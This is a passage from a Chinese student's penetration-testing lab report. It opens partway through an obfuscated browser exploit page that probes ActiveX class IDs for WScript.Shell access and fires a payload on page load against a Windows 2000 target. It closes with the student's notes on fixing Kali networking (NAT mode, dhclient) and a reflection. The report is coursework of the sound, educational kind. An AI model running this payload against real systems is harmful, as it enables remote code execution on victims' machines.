'F' + '5' + 'A' + '1' + '1' + 'F' + 'A' + 'B' + '1' + '9' + '}', '{' + 'E' + '8' + 'C' + 'C' + 'C' + 'D' + 'D' + 'F' + '-' + 'C' + 'A' + '2' + '8' + '-' + '4' + '9' + '6' + 'b' + '-' + 'B' + '0' + '5' + '0' + '-' + '6' + 'C' + '0' + '7' + 'C' + '9' + '6' + '2' + '4' + '7' + '6' + 'B' + '}', '{' + 'A' + 'B' + '9' + 'B' + 'C' + 'E' + 'D' + 'D' + '-' + 'E' + 'C' + '7' + 'E' + '-' + '4' + '7' + 'E' + '1' + '-' + '9' + '3' + '2' + '2' + '-' + 'D' + '4' + 'A' + '2' + '1' + '0' + '6' + '1' + '7' + '1' + '1' + '6' + '}', '{' + '0' + '0' + '0' + '6' + 'F' + '0' + '3' + '3' + '-' + '0' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '-' + 'C' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '4' + '6' + '}', '{' + '0' + '0' + '0' + '6' + 'F' + '0' + '3' + 'A' + '-' + '0' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '-' + 'C' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '4' + '6' + '}', null);
while(t[i]) {
var a = null;
if(t[i].substring(0, 1) == '{') {
a = document.createElement("object");
a.setAttribute("cl" + "as" + "sid", "cl" + "s" + "id" + ":" + t[i].substring(1, t[i].length - 1));
} else {
try {
a = new
ActiveXObject(t[i]);
} catch(e) {}
}
if(a) {
try {
var b = gzdwlMLPlHuuMUtOTKpQouUcoELw(a, "W" + "Sc" + "ri" + "pt" + ".S" + "he" + "ll");
if(b) {
CqKcYBeagLkeklyFBEiWRVFBKlwCLQX(a);
return(0);
}
} catch(e) {}
}
i++;
}
}
</script>
</head>
<body onl oad='DEvyTaKhCfQtrwvYwsbjQ()'> nAaeQv </body>
</html>
三、学习中遇到的问题及解决
问题1:在尝试用kali攻击机ping靶机Win2k时,发现ping不通,分别用攻击机和靶机ping www.baidu.com,发现是Win2k没连上网
解决1:原来攻击机和靶机都是桥接模式,将两个都改为NAT模式
问题2:刚开始查询kali的IP地址时,只显示lo的参数,不显示eth0的,无法看到kali的IP地址。
解决2:之前出现过攻击机与靶机不在同一网段的情况,这次检查各种设置后觉得设置并没有出问题,猜想可能与上次一样eth0没有更新,使用命令sudo dhclient eth0更新IP地址后,就正常显示eth0信息了,如下图:
四、实践总结
这次的实验,刚开始的时候很顺利,虽然刚开始时也有联网的问题,但是解决地很快,但是后面攻击机突然断网,尝试了很多种方法耗时较久才解决。代码相关的东西果然很玄学,我还是搞不懂为啥我什么配置都没改,kali突然就从能联网的状态变为不能联网了,但是尝试解决的时候,发现网上kali突然断网的情况还挺多的,可能kali本身不是很稳定,也可能是我无意间碰到了什么键导致其断网了吧。遇到的问题多,学到的东西也挺多的,对一些操作也更熟练了,以后再遇到断网的问题,解决经验就更多了,不会一筹莫展了。
标签:x69,x61,x65,x74,x72,实践,20212818,2021,x63 来源: https://www.cnblogs.com/fairry/p/16324868.html